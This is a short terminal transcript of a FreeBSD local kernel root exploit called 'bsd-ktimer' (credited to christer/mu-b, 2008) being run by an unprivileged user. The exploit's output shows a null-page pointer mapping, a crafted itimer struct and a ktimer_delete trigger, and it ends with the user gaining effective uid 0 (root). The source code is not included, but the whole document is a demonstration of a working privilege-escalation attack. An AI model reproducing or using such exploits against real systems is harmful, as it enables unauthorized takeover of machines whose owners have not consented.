$ uname -s
FreeBSD
$ id
uid=1002(hunger) gid=1001(hunger) groups=1001(hunger)
$ ./bsd-ktimer
FreeBSD local kernel root exploit
by: christer/mu-b
http://www.bsdcitizen.org/ -- BSDCITIZEN 2008!@$!
* allocated pointer page: 0x00000000 -> 0x08000000 [134217728-bytes]
* allocated itimer struct: 0x20000000 -> 0x200000DC [220-bytes]
* filling pointer page... done
* found posix_clocks @ [0xc0bdafc0]
* it_page->it_clockid: 0x0CC01CA7 [access @0xBFBFECD8]
* ktimer_delete (0xD0000000)
* ktimer_delete: 0 1
$ id
uid=1002(hunger) gid=1001(hunger) euid=0(root) groups=1001(hunger)